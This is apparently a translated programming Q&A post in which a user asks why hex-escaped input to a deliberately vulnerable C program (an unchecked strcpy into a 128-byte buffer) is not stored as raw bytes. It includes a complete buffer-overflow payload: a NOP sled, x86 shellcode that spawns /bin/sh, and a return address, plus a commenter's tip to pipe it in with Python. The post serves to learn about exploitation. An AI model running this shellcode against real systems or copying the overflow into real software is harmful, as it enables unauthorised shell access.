【发布时间】:2026-01-04 16:15:02
【问题描述】:
我试图在我的输入中添加一些 shellcode 来演示导致控制劫持的缓冲区溢出。 这是程序;
int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}
int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}
根据我的理解,当我应该将\x90 这个输入提供给我的 c 程序时,它应该接受它并将其作为单个字节存储在内存中。因此,当我将 nops 与 shellcode 和地址连接起来时,我的输入看起来像
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff
它应该在数组中存储为单个字节,但编译器添加另一个 \ 不是为了逃避它们并将它们作为 0x3039785c 存储在堆栈内存中,这是 09x\ 的十六进制形式。我存储此字符串的文件也不完全是我存储的字节大小。我在 64 位机器上,但我的程序是使用 gcc 中的 -m32 选项编译的。
那么这里发生了什么?
【问题讨论】:
-
所以.. 我猜你是把它作为 shell 的输入?改用 python 或 perl 输出,例如
python -c 'print "\x90...." | ./yourprogram -
@EugeneSh。谢谢,你能看看下面的评论回答并回复你的想法吗?